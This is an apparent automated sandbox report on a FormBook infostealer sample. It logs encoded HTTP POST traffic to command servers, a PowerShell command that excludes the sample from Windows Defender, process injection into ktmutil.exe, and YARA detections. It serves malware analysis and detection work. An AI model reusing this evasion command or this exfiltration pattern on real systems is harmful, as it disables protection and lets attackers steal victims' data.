Jul 1, 2024 16:19:08.881989956 CEST	399	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 01 Jul 2024 14:19:08 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.coinmao.com/irbt/ Strict-Transport-Security: max-age=31536000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49778	192.227.175.142	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:19:10.587030888 CEST	526	OUT	GET /irbt/?3hkl=slNhbLXpBjO8vl&4dV43tA=mqJtasd7r+ucb4h/g/ZTmy6JwNbO/v5n7k97Wehkk725AqfiRwLRxT17AJTqC5rNKbn4S3nwUKyYsCTiBBHbxywoRNMYnVscP0z+oucLCcHVoXQNraVEZ5jUDUaptob6FA== HTTP/1.1 Host: www.coinmao.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Jul 1, 2024 16:19:11.085134029 CEST	560	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 01 Jul 2024 14:19:11 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.coinmao.com/irbt/?3hkl=slNhbLXpBjO8vl&4dV43tA=mqJtasd7r+ucb4h/g/ZTmy6JwNbO/v5n7k97Wehkk725AqfiRwLRxT17AJTqC5rNKbn4S3nwUKyYsCTiBBHbxywoRNMYnVscP0z+oucLCcHVoXQNraVEZ5jUDUaptob6FA== Strict-Transport-Security: max-age=31536000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49779	31.186.11.254	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:19:16.252042055 CEST	806	OUT	POST /s29p/ HTTP/1.1 Host: www.genesiestudios.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.genesiestudios.online Cache-Control: no-cache Connection: close Content-Length: 208 Content-Type: application/x-www-form-urlencoded Referer: http://www.genesiestudios.online/s29p/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 30 33 48 75 4e 52 79 77 31 6e 4e 61 77 75 42 58 71 58 39 55 44 61 77 4c 49 2f 6e 51 59 50 63 51 57 4d 73 4c 44 44 69 7a 74 63 41 58 44 70 50 4f 52 64 66 5a 52 4f 38 63 52 44 4c 55 76 6a 57 32 6e 34 75 6a 57 31 66 70 4c 67 6c 6f 62 73 79 61 46 51 5a 2f 63 79 32 70 59 75 62 68 4e 52 70 69 36 54 75 71 5a 59 30 68 69 42 67 35 41 30 79 38 37 6e 57 6c 71 77 30 31 63 78 65 47 46 69 33 36 69 52 2f 41 36 4d 70 54 41 37 74 51 7a 42 34 6e 52 64 34 76 50 56 4d 41 39 4b 53 47 41 6e 32 77 42 52 49 65 2f 45 63 56 63 55 42 4d 33 6a 72 71 34 32 6d 65 65 6f 32 50 58 34 41 4f 78 52 73 32 65 6f 4b 6e 30 79 45 3d Data Ascii: 4dV43tA=03HuNRyw1nNawuBXqX9UDawLI/nQYPcQWMsLDDiztcAXDpPORdfZRO8cRDLUvjW2n4ujW1fpLglobsyaFQZ/cy2pYubhNRpi6TuqZY0hiBg5A0y87nWlqw01cxeGFi36iR/A6MpTA7tQzB4nRd4vPVMA9KSGAn2wBRIe/EcVcUBM3jrq42meeo2PX4AOxRs2eoKn0yE=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49780	31.186.11.254	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:19:18.868393898 CEST	826	OUT	POST /s29p/ HTTP/1.1 Host: www.genesiestudios.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.genesiestudios.online Cache-Control: no-cache Connection: close Content-Length: 228 Content-Type: application/x-www-form-urlencoded Referer: http://www.genesiestudios.online/s29p/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 30 33 48 75 4e 52 79 77 31 6e 4e 61 78 50 78 58 73 45 56 55 42 36 77 49 55 76 6e 51 53 76 64 5a 57 4d 6f 4c 44 42 50 32 74 75 55 58 61 4d 7a 4f 51 66 37 5a 63 75 38 63 5a 6a 4c 4e 69 44 58 34 6e 34 71 61 57 33 37 70 4c 67 68 6f 62 75 71 61 46 6a 42 34 4f 53 32 72 55 4f 62 6e 4a 52 70 69 36 54 75 71 5a 59 67 48 69 42 34 35 63 56 43 38 36 47 57 6b 72 77 30 30 4d 68 65 47 50 43 32 7a 69 52 2b 6c 36 4a 4a 31 41 35 56 51 7a 41 49 6e 53 4d 34 73 63 31 4d 43 79 71 54 5a 4e 45 4f 30 4c 51 51 76 2f 56 64 67 48 48 42 59 32 56 47 41 69 55 75 32 4e 49 61 33 48 72 49 35 67 68 4e 66 45 4c 61 58 71 6c 53 56 69 73 75 61 67 6f 73 71 51 49 36 70 41 39 48 48 66 35 75 4e Data Ascii: 4dV43tA=03HuNRyw1nNaxPxXsEVUB6wIUvnQSvdZWMoLDBP2tuUXaMzOQf7Zcu8cZjLNiDX4n4qaW37pLghobuqaFjB4OS2rUObnJRpi6TuqZYgHiB45cVC86GWkrw00MheGPC2ziR+l6JJ1A5VQzAInSM4sc1MCyqTZNEO0LQQv/VdgHHBY2VGAiUu2NIa3HrI5ghNfELaXqlSVisuagosqQI6pA9HHf5uN

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49781	31.186.11.254	80

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:19:21.871066093 CEST	1843	OUT	POST /s29p/ HTTP/1.1 Host: www.genesiestudios.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.genesiestudios.online Cache-Control: no-cache Connection: close Content-Length: 1244 Content-Type: application/x-www-form-urlencoded Referer: http://www.genesiestudios.online/s29p/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 30 33 48 75 4e 52 79 77 31 6e 4e 61 78 50 78 58 73 45 56 55 42 36 77 49 55 76 6e 51 53 76 64 5a 57 4d 6f 4c 44 42 50 32 74 75 4d 58 47 75 4c 4f 52 2b 37 5a 64 75 38 63 61 6a 4c 49 69 44 58 31 6e 34 54 53 57 33 47 55 4c 69 70 6f 61 4c 2b 61 44 57 31 34 58 69 32 72 63 75 62 69 4e 52 70 33 36 54 2b 75 5a 59 77 48 69 42 34 35 63 57 71 38 2b 58 57 6b 70 77 30 31 63 78 65 30 46 69 32 62 69 56 53 54 36 4a 4d 4f 41 70 31 51 39 41 59 6e 55 2b 51 73 66 56 4d 4d 6d 4b 54 52 4e 46 7a 71 4c 51 39 57 2f 56 35 4f 48 48 35 59 33 51 72 6b 6d 51 79 41 52 2b 57 42 41 63 77 76 31 6d 74 73 4c 6f 36 35 33 56 36 62 70 4e 36 46 71 38 59 61 53 34 6e 58 61 5a 50 63 54 75 6a 73 45 55 5a 36 68 34 6a 32 5a 57 32 59 7a 7a 39 69 6b 45 76 30 68 2f 32 49 36 69 65 62 61 75 77 52 6b 59 6a 6c 36 54 61 77 48 6c 39 66 44 64 45 49 56 57 73 4a 62 2f 70 69 56 75 33 32 31 54 4c 52 4d 41 41 77 76 4c 53 6c 62 47 62 79 4d 47 4a 69 73 4f 30 6d 50 75 2b 77 4b 7a 61 65 75 67 54 75 6e 69 79 53 55 5a 70 36 4e 76 4f 31 69 69 [TRUNCATED] Data Ascii: 4dV43tA=03HuNRyw1nNaxPxXsEVUB6wIUvnQSvdZWMoLDBP2tuMXGuLOR+7Zdu8cajLIiDX1n4TSW3GULipoaL+aDW14Xi2rcubiNRp36T+uZYwHiB45cWq8+XWkpw01cxe0Fi2biVST6JMOAp1Q9AYnU+QsfVMMmKTRNFzqLQ9W/V5OHH5Y3QrkmQyAR+WBAcwv1mtsLo653V6bpN6Fq8YaS4nXaZPcTujsEUZ6h4j2ZW2Yzz9ikEv0h/2I6iebauwRkYjl6TawHl9fDdEIVWsJb/piVu321TLRMAAwvLSlbGbyMGJisO0mPu+wKzaeugTuniySUZp6NvO1iir5+5ijI3rACrRRcpSLvKLrPc+5ZjkxFS+8sa33tatWYiH2n7CxFZqOQaEAJkiSFSEu6FReAeVcgMyDKL5MXQ7LRj9yX4M5Pja2mTAroVCa4fX5YzEQOv5D6V7nexuBUCvx7O7HeK5BIMJzpACxcg6SDc1B7sqXPa7TYGRqrHnk+4Va80hHk2STVGTrFulKhhPPuM7WK08ETY4oBG9zqtzbVFmXhDenVKJljeCR2aRsY0yFlPQ6HsxPJdjTCh2d1bBiAXU3Dq7c/dT+mIkOtbDShw0WqVaVdhRv+O3EqfbOfabZPrdgUXRwWT5PSg9TYZJyP53yhyQfKVQu0OZdZTjvEJpIJy4WPEu2igWGAHevNC/fFYfSJsEB7Tzy890AV31RrHUdieW24nJ+Jqhf6mSOYyvqSysyVCX/P2wWjrVHz4fkjH0MHA2z179IeB8lxSixjI85NjLqixFFmmXb+rA2F9eGTHJ9yP2CY+3HRM9JlypkwmhEWrqO0wkBaeT38r0wyBYlHtCWrDNAMGA/cqcaa2ITnzQVoCxP3KWoGNWbcROScnvU33S8iozwjtENrDh90XI0r3hcZIhrYGl8shZyytRV7BSEIrNlkkdSgn4Am7fdTUM3QcS+QliY/LKC0ECDNPEg9Wy4QfdVZqUNVgG6nh5DkcWvl/b2 [TRUNCATED]

Target ID:	0
Start time:	10:15:11
Start date:	01/07/2024
Path:	C:\Users\user\Desktop\rPRESUPUESTO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\rPRESUPUESTO.exe"
Imagebase:	0x4e0000
File size:	713'736 bytes
MD5 hash:	E78D43A26913CF101B98D1D04839EEE2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	3
Start time:	10:15:15
Start date:	01/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\rPRESUPUESTO.exe"
Imagebase:	0x700000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	10:15:15
Start date:	01/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	10:15:15
Start date:	01/07/2024
Path:	C:\Users\user\Desktop\rPRESUPUESTO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\rPRESUPUESTO.exe"
Imagebase:	0xc40000
File size:	713'736 bytes
MD5 hash:	E78D43A26913CF101B98D1D04839EEE2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2328576677.0000000001600000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.2328576677.0000000001600000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.2329601584.00000000038F0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2328137343.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.2328137343.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.2329601584.0000000002EF0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Target ID:	6
Start time:	10:15:18
Start date:	01/07/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6ef0c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	10:15:26
Start date:	01/07/2024
Path:	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe"
Imagebase:	0x980000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.4588318441.0000000004C60000.00000040.00000001.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.4588318441.0000000004260000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	9
Start time:	10:15:27
Start date:	01/07/2024
Path:	C:\Windows\SysWOW64\ktmutil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\ktmutil.exe"
Imagebase:	0x7b0000
File size:	15'360 bytes
MD5 hash:	AC387D5962B2FE2BF4D518DD57BA7230
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.4586829537.0000000000180000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000009.00000002.4586829537.0000000000180000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.4588343221.0000000000720000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000009.00000002.4588343221.0000000000720000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.4588414444.0000000000760000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000009.00000002.4588414444.0000000000760000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	10
Start time:	10:15:40
Start date:	01/07/2024
Path:	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe"
Imagebase:	0x980000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.4590404042.0000000005560000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.4590404042.0000000005560000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	13
Start time:	10:15:52
Start date:	01/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true